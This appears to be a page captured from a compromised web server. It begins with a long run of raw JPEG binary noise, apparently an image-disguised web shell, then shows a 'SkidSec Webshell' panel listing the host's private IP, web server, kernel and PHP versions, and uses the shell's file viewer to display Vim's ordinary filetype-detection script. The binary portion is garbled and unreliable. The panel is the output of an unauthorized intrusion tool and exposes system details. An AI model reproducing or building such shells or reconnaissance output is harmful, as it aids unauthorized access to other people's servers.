JFIF   ( %!1!%)+...383,7(-.+  ++-+++++-++-++--+--+-+-------+-++-+--+---+++--+7+-+"F!1AQaq"2BRb#3Sr$CDsT&!Q1Aa"2Rbq ?򉄘ǷLR HR,nNb .&W)fJbMOYxj-\bT2(4CQ"qiC/ " %0Jl"e2V  0SDd2@TV^{cW&F͉x9#l,.XɳvRZ C8S 6ml!@!E! `FS!M #(d)Q lml1ml Ų&x(ʨ2NFmj@D<dN5UN˄uTB emLAy#` ` ` I!I 6āHBxL & J#7BQ.$hv h q+tC"EJ) 8R e2U2Y@j%6PF^4LnNBp"8)4JI-ֲvK ^؊)hz[T5˗",Rҥf8ڤS4ʘ!`D ` X+ L,(hl)*S##`6[`0*L T H*HA@I&&r1kr*r*)N$#L  1#ZFSl `[( ("((he`4 Ch [="A R / 0I`twCDcWh"i) cLad\BcLKHZ"ZEW$Ƚ@A~i^`S *A&h:+c Y6vϕGClRPs.`H`(@<$qDe pL@DpLX, E2MP A  `II m& AQ "AT rbg# g2!SiLj*3L \ G;TFL`K BMy 2S`YLh1 d >-"ZfD^Q DH" RAbEV#Lfq,(rETp64-IJ!*p4F$q;G8DQ/TKP2$jp3KW]FtLtƉ1ol]VBgػJH6 )h61GJR7Nj.Z4piJRDd]t]0dP]:N.b'⹙SvDSz]L,_#ugT&[~?cS^"{Bh{/=ۑxOk̳O59o dar793`)SeYM@\ "$E(Tm&)N2Ih)F5EDed(FS,Pa @!@#@lea HCD$11jCLJqcod S3yd*,lL+QEfsgW1nw)cT#dS HXkFJB"6(ʝH)H"#EZh:Y`khݳh%Sc<mlAko2]gDqQtro=3OƸU9_-t8UvW3sGəg*#:c)><"wc\ASmT|6Ę>9~#1Ƈ~ڒE1vVi# I MM#u$8W 5ǍfƬΜg*Qpi1ȩFOf۔S,/⎯(Lrմ`(Z LsbA \6 6dm[I=!r:REI.wgzG)ԇSbӑxuׇTyyL^e'x^ty4Z&eB]I|v59Jjhm;Ng񷫳n<ϞҼѝjk;׹DlY^ҍ\+x9V!j([cmS.NO6jxNζrm&oײizT$N>?~ Sl-:iڥk\at#E!CL`.O0a*w/WV7/r)DŽt7'Nĵ#7O1 ]{[/-2bA<$&Gm_4t)_>)mjG;V^'k59o>ɌM,ؾf9z6 4v_3T.5V/RD-5 %T5XTޫ4TaZ`U *ƱUƲ UG"5+sJJ2E9#܎kr2G3Bb,XM6H: ?@p!'\4V02aԙ) hbZ]:` ev3ʘ'}!ohȒ*TJjr[RFyQ*#{h{R]J]Lr-.D-.җfo$D ?X0%~1P.Og{cWϫ22&Ϭ_V.W3nmiOl}+!˫#`kR33aUb0-g:qmsέ+0HO|&nhOn+}n5QF_"gvLm/z'+r'n_oC语i|1}Gi|}_D~9JZ_%DVQp\koۅjAs~/c0ksUJi^W9W5!>?O:q|ˣSIB/&K<(lg(%Wg$|LW7vߤW߇q|jef3D H\S6(eJb*@&sTKTW/*@v:.N- @ITʓ1Zg&-eꓝM r]EMס{q$b]'7Z7N:O~lNlP7iͲk)$O^퉢<YSD*hr'Z#5e6t[Fdh AJǔP9P 1\R).Il+jI*,(ܢ22N*OwKFX gc?\mB7iA+εe8 "ġ/p5pW-$މ-[a 5ViAW/V{/&UsF./՞ҕ*)rZg.^_+gt_z-oAbqQn*WlHyZ*\TaEewlLR3ԹȭN}MM}aih"5ܕRT$:~'TcT|*)xGC>n+r{XU xuF"<~67у'fxlf`r3D*#Z1ђfH`2dIWo/qB| 63xxW6^m%Kvg>\>x>!H5Nr8J/FJ9Wx(Hou" S'kWاC\9ְ#^OaҮ+~gnkuЉ,aWU*1 읍jnb|e= :2.UL`Q}YS&gI.c=a`%j:C%2@^>])25/ܙ<lzwɛ)ݣS4h3=J tyϬ.E7 8ڞGZu\_JHsݢϑ}IZ"ӳ=X<Ɖ2{a:{7L+>V}c)*lo Yv&+|L;>+/Sj26K+澡*;>-s"}M2] Ig5aCL*r"&\} #^R.7_Mgf}.ߌy(}Z\gP&ʠHj%</{.]rߙQ`>;5g;u6dԛ %xb|oՋTJ5Ϥ(]XqP>f{Jk2,8'~ZU6tMQsg XKg^2ϓ3},[wo۴I|ܷ%[Ol\Pkr]Y//cg6U⧻/VПi8ys_n<\~cze!!H~x;QJZKȮ^ȧG|cS~8ji,Fo+,y~?pk)u /in3JmkX(Mj1N 4c Epc>BO *LfQO&` c;LjcYf 1ɻ)CLsY^Y5" lP/wuEln&dav,(;'W9ej ku`-KHI՟%ԁʁ 1\}?OjsF^Xn$Ё.օC>D:?I @aGE.ĩ1 $ et~T`߸Ir'RX.Zwc%~U=r>-UaFbǺ?R=Z?i'[ASS;siJrzy>nxu$[_B\4}:r'ҵj1_v-[;y?ֹ0I16 . M%4^!S&t ! h !zQð.bBT ?@]?CHq(rd!.$>/x+bnʎNN#w)` )*f!-ɂ\(طYLHzc`Uq7BfCcE0ԉ4Fم쏠ce5T r͸GVlФ?ѣ} mhrkly.Ts㷖)Mө S^%'g>wk%bP[}j~ǾV#K -Fgv켼ǨgɼeSz/6{M=BPZFu\Q75n3Iݤ.W9QfF{vJwF't[@iVj4G~KOnH߿_Do=.c.One?E+GfGN⧭H?4;u`ua|V-+j4?48n ɦ=-]puv&Jc}K>b%U x8pz6L8AXFsW]N55ҦbIWZQ7ï Ԗ3cjz匩ӺOTɖƴ%a'MI}cdR$ݚIζ̝ LIu>J3{^෠㜦˯xܿe\b"2y'x{ RDW b+o2KFhR0:U늞En>լRӉt Iڹ\ wշQEv"v;EJ)yl[5:F0=b4,\PqKtv4{bQz:>C7"8W#Zjdd| cjz%K %Z 9dD{=NFʳAƩtI)kS*s$`:A\ʬ*ֹ9{Nl|eJ١rQnM%z_#x_•TO><)kyD %GN<~y>vfǧB)F)c\lې(#\ h`fgfjTBdhhHL2Y0^ Y0^-"D!QaI15 m~ gՒd|;#gMn(P$l H.R2^PU")pN` N8󫅂OJ;^jz\uumJMF|ηq[]$Vrrt:Q^;QPkHՠ{]HwˆMuIr7!r&- j%"9LtUb56+^TWBqdhHAD7 HwKH^F3LIq #hK`]IWKiH?کǴeԥQ>g{^q^>HKoOB||8aݏS}{S_]ϸ/X~ܵw'OSPAf֩ܟ[>7 @[ֵ;G߇QU*Cթ *OKU^zz[fRnpcJX9u<iq8B]u8 ]I,;[G#2W.¸D8rPG Y%PBJ= wo;PJgx6;yB`3zZGPAͫy{5Nb_re*ONHR]Ji)U{Ӓ:qqɏ[mB4࢒I$ 2vpBADY`DIVAn"Bh$&&cMbdB 鮆wHR'E(ѸZA*H~{B M҅n\@N{7ISCp Vd( r+bg|ns:qg:|J|ɪV.UVaAS͓FyRuLѦT騬 `3􏳕{eo/Tz8DkW?,cl~TqLne֠[B*D +t 6˦S;5KjV3e WBrT.XSHm sl5F%NGM`Y )": J!W4]HTrPX2 QYɕ\m2VLd+`,^ѺiPztUGY6+cӧ6] U%u/ˈFOiB*nFF#ұJ Z/c')?Q͟5.8E~G6e<\?}GkhMFUظOqhEA - "`dQ#(4Ԧf VLmc@q5J8K; M^JZnn)9Zm\ qIJqS: i[9~Oaƒ]Z4F&+666( N]쁼LM(oyvUI/Χ[ھ]hTˉG".SeYgu;hRDtڬv=5 ׁqMS\Ȭi5D]1$*0UL1QY`QdLb[+z9";'yi`OT/4{@EZ'Y0>4I*d nM#5hі.vrM[]Ä;]\ʦS,叕DQZq0fӌI͋]TNK"#;?F;aURx_4WDm+F*0XJE@){ 1R-E2(@Qh l D rT.Q;[J;[`30`ɀ 2#=JeSsxRjG=`H rLJ@ Y$JaB2/x( "Id'6O0CI$:Ol+}I>[L|iK+]ZrH*2Aʶ uHRd)OrrbSx=5dmue1neܬ"e>Lw94勲u ҏ_4GuоJw]QtgSk(qW(6h|v= 1=P/\YZ|R>"*5W/ίR'o %R$5= .!VIRMf4*aR5nv% Usj:V Lj]Bn/TZ&.2„ܒBP)aYRʌW!#ErGf';tW$czI*\KI,c7Zc-ўj|p+-ђ{eg 2;R_{VLM]7sؒFmԻy853gҾqJG!E̤ӏqzs༿? U#R)ŧU(,>,&,-^e^۔.b EW^n<)\9.QeJuFiSh2"EL8yeCKQD\5R,D5.P]c1STt*ZFJ.T:N #%]M}khOe(͓iEMsɆ3( YF<"Ly^*[ry6.ɸm k݊iT%nM8 $Q#F# q 1*?% iS^4oܗ wWPS,aNޖxOxڽqp#F6&o,7LJuMΤK(Td{U Ƹf|q5U{3[FLNK6ӵQY5+'>Q3FSk).&:5z yZq/*q$d+Ge+$lO@Nڤy5eBvˌ䖥shS:JksgksF ꧸oi-FYxy9[Vȼĝ'_.[y2U*c?E+:TsWՀgOS> z75>ncߏ-Kz8ԋ,Ϧ70Z9_1h$Xiu10)0$+$! qsE4wRkh2*T.s%DH:`:=k.'WB{ ȮRGҷ7чVg)CHS}1ݍԳۂ<8g_4y*-Ml\]mZT)mJ~|k<6zWjf4'*u%RNRȉZA) .VLtp 4 V&mtJ#l˅;&{]8>TmhoLXOeD^_J>]jsSej﫦iOM SK([!Vc5zn-A@p]Ӄ \3kmK>#-sܧ?NLar@Js?…Xldny]݌E5•9.8hh69#7js׳R,'pqt:kgPhRԄ+ՕG9}="ֲ\kǁm R73pg$t3+o |o\]'ee5ɐ.7ѐ|ZعSF{qkx5-$Q h5*1yM$ 7)hJ2Kg`-hn*>)EYDIkBpȩAzfǪ>7O K#lߤg]:u~huُ۵u}(mjGIj܏6ES~/5CiRy|kVKGBޭ3;w /jꏈUu>iƪi:WRo'yr4C/?c:w!?\'?#Q:>u/?uEeuG*xY2)?־CAr*23_ץ}գk1%(_ _6aԗ _4 $ϗ+ϫɆzǾIgu?Y<#_xS>i\uɇ۽r}[ͫyRoWCC!H,iD։"Cj5 4] cTk2YZRBvRY~FqQt^RO-g"QP]Ih/t:ljs YӹqI] wqXp KV+8j} uu8PGP&zF:;8+ Sx9(. Q}:ƻWr,Ũ*'shfƧ-6__5,DH{* qp묘G MA}QRe{dyMucǨɾ7߈Avϩe͜jmUi p3\5,ާbf:o+7#ܾ~iU#up=}˄k{NV8m!ҌiptޜBvKi}!ש3UK)`igӞVMR'J[ky~g&6vǍ7ķ>uXd(3瓓[]QTTqnͮz1~_͓k俸0~Z1գ =18cL 5^lf^k^<ҲJɬcC-[^;J8j_q=WpeA_6 4.Ntc>Sv2Jf;G8. 5[,;ArSTˬmpmzjGe EoǩOgDWaGhz<|kT\$Q=u/ci˜S mN&Ok~'0,a} s + NC-G'(*>vw~&*wYG Ŷ K-L/$߮l/A/^:Z@X- Q-D2`@M2+w$Q"胊"47&+Dh'9Y* L7VhT+ -?K]Ik \Ϣgy) s v z)Z ˦2&ލ OjmG9@8F_u䊜r>3K%Yg-FFI]e+Kxkzװy"\Q4Ri'0+P=V&Sw3N/U|UEt*uS c M*tsBE 2ʃ@Kir(˫LRr璜Zy@].%NbXvz덟 hӰNMe#|g͒po9^licxB[e' {U? mlt%?霋ǒxZc X]ϗ15SeE{-Ӕi~DƯO|ë5a@G=%<ƧAs*+tzo, IpȔ|:X6J3Z5JXd]2 3%v*GvE@(S&SX7D0^{5t Z{ﮄsh- ]ɑqEV=^Ki9äBtI@&pEg*O<`F-}ǎ51H,<~qibQѓɳx#l$G9td1U+Sq%B[jOq+^ޏ7K >YY  $KK{*˝e"|$g"6v,,9.DaA,qэI~ܨ|kdv; hz2]x5{M5M~yלqTzUl9Mӏ.WVnkun !jzKO!v|& ;gۇ2BrI閵C tqHe[Zkގ=Q;OԶiᵞBcIU eN cOGz S__>.hNgG6).J$_Taѯ5^LqeB]O?A]H;ò{^0ٺuޚxB|:q'xu4"9Ο7k^eZ_fQOmzm̗{c3ٵKO|m*ek(8"yO(ٵ{LJb2Ǩkgg1_/qrDՆ[_l\ I~Bsc/x ),,̿@PFޞ>O)<<=5m=^x6}~6qoYGޣiY{uN+<,CǚwVxe~c!,5R4u/9In=G•^PF6ɼM򿶤$"\|78ؖYU cXFOKc4s-=6O<;.ϴ޶$q>e? qY}StirX?e/&R'ʑ[ѯMi{?8\g^>\!-VZCf.ȾzRWMh_{^H)mz}V%չM.EJUz7z>ZW6\BW~:W3!S_4~m ǚ! ;VeGKFڵ858Buj:ZZ(/H׭eav!$gpLV)țAJO~YBꤞ厅XJdjg{hR9~_f '5U+}W5%ZjzgTtozYD @%JK\qymeЪKIIp"xoz\B1$G)8Ԅ Jeyc".yyVBR-%BEA-k^Luj cYwԄ%X!e-4ZRḡlJvYsB԰˗0?RM\TlaߏVu4BmY!UyYylgd!m2$i=[hN,6)_~7͖CDF2zÕ{?l;Hܲk׋!/XAłrCXEI{]P[e! ?%Ktqܱ5! jַĞ*TvAG)fuxTҖV7~ 4=r! ob%jTwU$Bnqed䤿@0P&V]HJ)^YrޯĿbsY8=1! n}UD*7uƫi~!s[W{V9J;~Ӯ|[3s۷dڔIj?qJ'O,IkE]G(5\ۖ7)-g,ŶǗ=~e>k쐁%(g˦o[fxN_baGBm:܆VGЗ,G_D!/og,ҢVܤ_iS_~@ SkidSec Webshell

SkidSec WebShell

Server Address : 172.31.38.4

Web Server : Apache/2.4.58 (Ubuntu)

Uname : Linux ip-172-31-38-4 6.14.0-1017-aws #17~24.04.1-Ubuntu SMP Wed Nov 5 10:48:17 UTC 2025 x86_64

PHP Version : 7.4.33



Current Path : /usr/share/vim/vim91/autoload/dist/



Current File : //usr/share/vim/vim91/autoload/dist/script.vim
vim9script

# Vim function for detecting a filetype from the file contents.
# Invoked from "scripts.vim" in 'runtimepath'
#
# Maintainer:	The Vim Project <https://github.com/vim/vim>
# Last Change:	2023 Aug 10
# Former Maintainer:	Bram Moolenaar <Bram@vim.org>

export def DetectFiletype()
  var line1 = getline(1)
  if line1[0] == '#' && line1[1] == '!'
    # File that starts with "#!".
    DetectFromHashBang(line1)
  else
    # File does not start with "#!".
    DetectFromText(line1)
  endif
enddef

# Called for a script that has "#!" in the first line.
def DetectFromHashBang(firstline: string)
  var line1 = firstline

  # Check for a line like "#!/usr/bin/env {options} bash".  Turn it into
  # "#!/usr/bin/bash" to make matching easier.
  # Recognize only a few {options} that are commonly used.
  if line1 =~ '^#!\s*\S*\<env\s'
    line1 = substitute(line1, '\S\+=\S\+', '', 'g')
    line1 = substitute(line1, '\(-[iS]\|--ignore-environment\|--split-string\)', '', '')
    line1 = substitute(line1, '\<env\s\+', '', '')
  endif

  # Get the program name.
  # Only accept spaces in PC style paths: "#!c:/program files/perl [args]".
  # If the word env is used, use the first word after the space:
  # "#!/usr/bin/env perl [path/args]"
  # If there is no path use the first word: "#!perl [path/args]".
  # Otherwise get the last word after a slash: "#!/usr/bin/perl [path/args]".
  var name: string
  if line1 =~ '^#!\s*\a:[/\\]'
    name = substitute(line1, '^#!.*[/\\]\(\i\+\).*', '\1', '')
  elseif line1 =~ '^#!.*\<env\>'
    name = substitute(line1, '^#!.*\<env\>\s\+\(\i\+\).*', '\1', '')
  elseif line1 =~ '^#!\s*[^/\\ ]*\>\([^/\\]\|$\)'
    name = substitute(line1, '^#!\s*\([^/\\ ]*\>\).*', '\1', '')
  else
    name = substitute(line1, '^#!\s*\S*[/\\]\(\f\+\).*', '\1', '')
  endif

  # tcl scripts may have #!/bin/sh in the first line and "exec wish" in the
  # third line.  Suggested by Steven Atkinson.
  if getline(3) =~ '^exec wish'
    name = 'wish'
  endif

  var ft = Exe2filetype(name, line1)
  if ft != ''
    exe 'setl ft=' .. ft
  endif
enddef

# Returns the filetype name associated with program "name".
# "line1" is the #! line at the top of the file.  Use the same as "name" if
# not available.
# Returns an empty string when not recognized.
export def Exe2filetype(name: string, line1: string): string
    # Bourne-like shell scripts: bash bash2 dash ksh ksh93 sh
  if name =~ '^\(bash\d*\|dash\|ksh\d*\|sh\)\>'
    return dist#ft#SetFileTypeSH(line1, false)

    # csh scripts
  elseif name =~ '^csh\>'
    return dist#ft#SetFileTypeShell(exists("g:filetype_csh") ? g:filetype_csh : 'csh', false)

    # tcsh scripts
  elseif name =~ '^tcsh\>'
    return dist#ft#SetFileTypeShell("tcsh", false)

    # Z shell scripts
  elseif name =~ '^zsh\>'
    return 'zsh'

    # TCL scripts
  elseif name =~ '^\(tclsh\|wish\|expectk\|itclsh\|itkwish\)\>'
    return 'tcl'

    # Expect scripts
  elseif name =~ '^expect\>'
    return 'expect'

    # Gnuplot scripts
  elseif name =~ '^gnuplot\>'
    return 'gnuplot'

    # Makefiles
  elseif name =~ 'make\>'
    return 'make'

    # Pike
  elseif name =~ '^pike\%(\>\|[0-9]\)'
    return 'pike'

    # Lua
  elseif name =~ 'lua'
    return 'lua'

    # Perl
  elseif name =~ 'perl'
    return 'perl'

    # PHP
  elseif name =~ 'php'
    return 'php'

    # Python
  elseif name =~ 'python'
    return 'python'

    # Groovy
  elseif name =~ '^groovy\>'
    return 'groovy'

    # Raku
  elseif name =~ 'raku'
    return 'raku'

    # Ruby
  elseif name =~ 'ruby'
    return 'ruby'

    # JavaScript
  elseif name =~ 'node\(js\)\=\>\|js\>' || name =~ 'rhino\>'
    return 'javascript'

    # BC calculator
  elseif name =~ '^bc\>'
    return 'bc'

    # sed
  elseif name =~ 'sed\>'
    return 'sed'

    # OCaml-scripts
  elseif name =~ 'ocaml'
    return 'ocaml'

    # Awk scripts; also finds "gawk"
  elseif name =~ 'awk\>'
    return 'awk'

    # Website MetaLanguage
  elseif name =~ 'wml'
    return 'wml'

    # Scheme scripts
  elseif name =~ 'scheme'
    return 'scheme'

    # CFEngine scripts
  elseif name =~ 'cfengine'
    return 'cfengine'

    # Erlang scripts
  elseif name =~ 'escript'
    return 'erlang'

    # Haskell
  elseif name =~ 'haskell'
    return 'haskell'

    # Scala
  elseif name =~ 'scala\>'
    return 'scala'

    # Clojure
  elseif name =~ 'clojure'
    return 'clojure'

    # Free Pascal
  elseif name =~ 'instantfpc\>'
    return 'pascal'

    # Fennel
  elseif name =~ 'fennel\>'
    return 'fennel'

    # MikroTik RouterOS script
  elseif name =~ 'rsc\>'
    return 'routeros'

    # Fish shell
  elseif name =~ 'fish\>'
    return 'fish'

    # Gforth
  elseif name =~ 'gforth\>'
    return 'forth'

    # Icon
  elseif name =~ 'icon\>'
    return 'icon'

    # Guile
  elseif name =~ 'guile'
    return 'scheme'

    # Nix
  elseif name =~ 'nix-shell'
    return 'nix'

    # Crystal
  elseif name =~ '^crystal\>'
    return 'crystal'

    # Rexx
  elseif name =~ '^\%(rexx\|regina\)\>'
    return 'rexx'

    # Janet
  elseif name =~ '^janet\>'
    return 'janet'

    # Dart
  elseif name =~ '^dart\>'
    return 'dart'

    # Execline (s6)
  elseif name =~ '^execlineb\>'
    return 'execline'

  endif

  return ''
enddef


# Called for a script that does not have "#!" in the first line.
def DetectFromText(line1: string)
  var line2 = getline(2)
  var line3 = getline(3)
  var line4 = getline(4)
  var line5 = getline(5)

  # Bourne-like shell scripts: sh ksh bash bash2
  if line1 =~ '^:$'
    call dist#ft#SetFileTypeSH(line1)

  # Z shell scripts
  elseif line1 =~ '^#compdef\>'
      || line1 =~ '^#autoload\>'
      || "\n" .. line1 .. "\n" .. line2 .. "\n" .. line3 ..
	 "\n" .. line4 .. "\n" .. line5
	 =~ '\n\s*emulate\s\+\%(-[LR]\s\+\)\=[ckz]\=sh\>'
    setl ft=zsh

  # ELM Mail files
  elseif line1 =~ '^From \([a-zA-Z][a-zA-Z_0-9\.=-]*\(@[^ ]*\)\=\|-\) .* \(19\|20\)\d\d$'
    setl ft=mail

  # Mason
  elseif line1 =~ '^<[%&].*>'
    setl ft=mason

  # Vim scripts (must have '" vim' as the first line to trigger this)
  elseif line1 =~ '^" *[vV]im$'
    setl ft=vim

  # libcxx and libstdc++ standard library headers like "iostream" do not have
  # an extension, recognize the Emacs file mode.
  elseif line1 =~? '-\*-.*C++.*-\*-'
    setl ft=cpp

  # MOO
  elseif line1 =~ '^\*\* LambdaMOO Database, Format Version \%([1-3]\>\)\@!\d\+ \*\*$'
    setl ft=moo

    # Diff file:
    # - "diff" in first line (context diff)
    # - "Only in " in first line
    # - "--- " in first line and "+++ " in second line (unified diff).
    # - "*** " in first line and "--- " in second line (context diff).
    # - "# It was generated by makepatch " in the second line (makepatch diff).
    # - "Index: <filename>" in the first line (CVS file)
    # - "=== ", line of "=", "---", "+++ " (SVK diff)
    # - "=== ", "--- ", "+++ " (bzr diff, common case)
    # - "=== (removed|added|renamed|modified)" (bzr diff, alternative)
    # - "# HG changeset patch" in first line (Mercurial export format)
  elseif line1 =~ '^\(diff\>\|Only in \|\d\+\(,\d\+\)\=[cda]\d\+\>\|# It was generated by makepatch \|Index:\s\+\f\+\r\=$\|===== \f\+ \d\+\.\d\+ vs edited\|==== //\f\+#\d\+\|# HG changeset patch\)'
	 || (line1 =~ '^--- ' && line2 =~ '^+++ ')
	 || (line1 =~ '^\* looking for ' && line2 =~ '^\* comparing to ')
	 || (line1 =~ '^\*\*\* ' && line2 =~ '^--- ')
	 || (line1 =~ '^=== ' && ((line2 =~ '^=\{66\}' && line3 =~ '^--- ' && line4 =~ '^+++') || (line2 =~ '^--- ' && line3 =~ '^+++ ')))
	 || (line1 =~ '^=== \(removed\|added\|renamed\|modified\)')
    setl ft=diff

    # PostScript Files (must have %!PS as the first line, like a2ps output)
  elseif line1 =~ '^%![ \t]*PS'
    setl ft=postscr

    # M4 scripts: Guess there is a line that starts with "dnl".
  elseif line1 =~ '^\s*dnl\>'
	 || line2 =~ '^\s*dnl\>'
	 || line3 =~ '^\s*dnl\>'
	 || line4 =~ '^\s*dnl\>'
	 || line5 =~ '^\s*dnl\>'
    setl ft=m4

    # AmigaDos scripts
  elseif $TERM == "amiga" && (line1 =~ "^;" || line1 =~? '^\.bra')
    setl ft=amiga

    # SiCAD scripts (must have procn or procd as the first line to trigger this)
  elseif line1 =~? '^ *proc[nd] *$'
    setl ft=sicad

    # Purify log files start with "****  Purify"
  elseif line1 =~ '^\*\*\*\*  Purify'
    setl ft=purifylog

    # XML
  elseif line1 =~ '<?\s*xml.*?>'
    setl ft=xml

    # XHTML (e.g.: PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN")
  elseif line1 =~ '\<DTD\s\+XHTML\s'
    setl ft=xhtml

    # HTML (e.g.: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN")
    # Avoid "doctype html", used by slim.
  elseif line1 =~? '<!DOCTYPE\s\+html\>'
    setl ft=html

    # PDF
  elseif line1 =~ '^%PDF-'
    setl ft=pdf

    # XXD output
  elseif line1 =~ '^\x\{7}: \x\{2} \=\x\{2} \=\x\{2} \=\x\{2} '
    setl ft=xxd

    # RCS/CVS log output
  elseif line1 =~ '^RCS file:' || line2 =~ '^RCS file:'
    setl ft=rcslog

    # CVS commit
  elseif line2 =~ '^CVS:' || getline("$") =~ '^CVS: '
    setl ft=cvs

    # Prescribe
  elseif line1 =~ '^!R!'
    setl ft=prescribe

    # Send-pr
  elseif line1 =~ '^SEND-PR:'
    setl ft=sendpr

    # SNNS files
  elseif line1 =~ '^SNNS network definition file'
    setl ft=snnsnet
  elseif line1 =~ '^SNNS pattern definition file'
    setl ft=snnspat
  elseif line1 =~ '^SNNS result file'
    setl ft=snnsres

    # Virata
  elseif line1 =~ '^%.\{-}[Vv]irata'
	 || line2 =~ '^%.\{-}[Vv]irata'
	 || line3 =~ '^%.\{-}[Vv]irata'
	 || line4 =~ '^%.\{-}[Vv]irata'
	 || line5 =~ '^%.\{-}[Vv]irata'
    setl ft=virata

    # Strace
    # inaccurate fast match first, then use accurate slow match
  elseif (line1 =~ 'execve(' && line1 =~ '^[0-9:. ]*execve(')
	   || line1 =~ '^__libc_start_main'
    setl ft=strace

    # VSE JCL
  elseif line1 =~ '^\* $$ JOB\>' || line1 =~ '^// *JOB\>'
    setl ft=vsejcl

    # TAK and SINDA
  elseif line4 =~ 'K & K  Associates' || line2 =~ 'TAK 2000'
    setl ft=takout
  elseif line3 =~ 'S Y S T E M S   I M P R O V E D '
    setl ft=sindaout
  elseif getline(6) =~ 'Run Date: '
    setl ft=takcmp
  elseif getline(9) =~ 'Node    File  1'
    setl ft=sindacmp

    # DNS zone files
  elseif line1 .. line2 .. line3 .. line4 =~ '^; <<>> DiG [0-9.]\+.* <<>>\|$ORIGIN\|$TTL\|IN\s\+SOA'
    setl ft=bindzone

    # BAAN
  elseif line1 =~ '|\*\{1,80}' && line2 =~ 'VRC '
	 || line2 =~ '|\*\{1,80}' && line3 =~ 'VRC '
    setl ft=baan

    # Valgrind
  elseif line1 =~ '^==\d\+== valgrind' || line3 =~ '^==\d\+== Using valgrind'
    setl ft=valgrind

    # Go docs
  elseif line1 =~ '^PACKAGE DOCUMENTATION$'
    setl ft=godoc

    # Renderman Interface Bytestream
  elseif line1 =~ '^##RenderMan'
    setl ft=rib

    # Scheme scripts
  elseif line1 =~ 'exec\s\+\S*scheme' || line2 =~ 'exec\s\+\S*scheme'
    setl ft=scheme

    # rst files
  elseif line1 =~ '^\.\.\s\|^\s*restindex\s*$'
	|| line2 =~ '^\.\.\s\|^\s*restindex\s*$'
	|| line3 =~ '^\.\.\s\|^\s*restindex\s*$'
	|| line4 =~ '^\.\.\s\|^\s*restindex\s*$'
	|| line5 =~ '^\.\.\s\|^\s*restindex\s*$'
    set ft=rst

    # Git output
  elseif line1 =~ '^\(commit\|tree\|object\) \x\{40,\}\>\|^tag \S\+$'
    setl ft=git

    # Gprof (gnu profiler)
  elseif line1 == 'Flat profile:'
	&& line2 == ''
	&& line3 =~ '^Each sample counts as .* seconds.$'
    setl ft=gprof

    # Erlang terms
    # (See also: http://www.gnu.org/software/emacs/manual/html_node/emacs/Choosing-Modes.html#Choosing-Modes)
  elseif line1 =~? '-\*-.*erlang.*-\*-'
    setl ft=erlang

    # YAML
  elseif line1 =~ '^%YAML'
    setl ft=yaml

    # MikroTik RouterOS script
  elseif line1 =~ '^#.*by RouterOS.*$'
    setl ft=routeros

    # Sed scripts
    # #ncomment is allowed but most likely a false positive so require a space
    # before any trailing comment text
  elseif line1 =~ '^#n\%($\|\s\)'
    setl ft=sed

  else
    var lnum = 1
    while getline(lnum) =~ "^? " && lnum < line("$")
      lnum += 1
    endwhile
    if getline(lnum) =~ '^Index:\s\+\f\+$'
      # CVS diff
      setl ft=diff

      # locale input files: Formal Definitions of Cultural Conventions
      # filename must be like en_US, fr_FR@euro or en_US.UTF-8
    elseif expand("%") =~ '\a\a_\a\a\($\|[.@]\)\|i18n$\|POSIX$\|translit_'
      lnum = 1
      while lnum < 100 && lnum < line("$")
	if getline(lnum) =~ '^LC_\(IDENTIFICATION\|CTYPE\|COLLATE\|MONETARY\|NUMERIC\|TIME\|MESSAGES\|PAPER\|TELEPHONE\|MEASUREMENT\|NAME\|ADDRESS\)$'
	  setf fdcc
	  break
	endif
	lnum += 1
      endwhile
    endif
  endif
enddef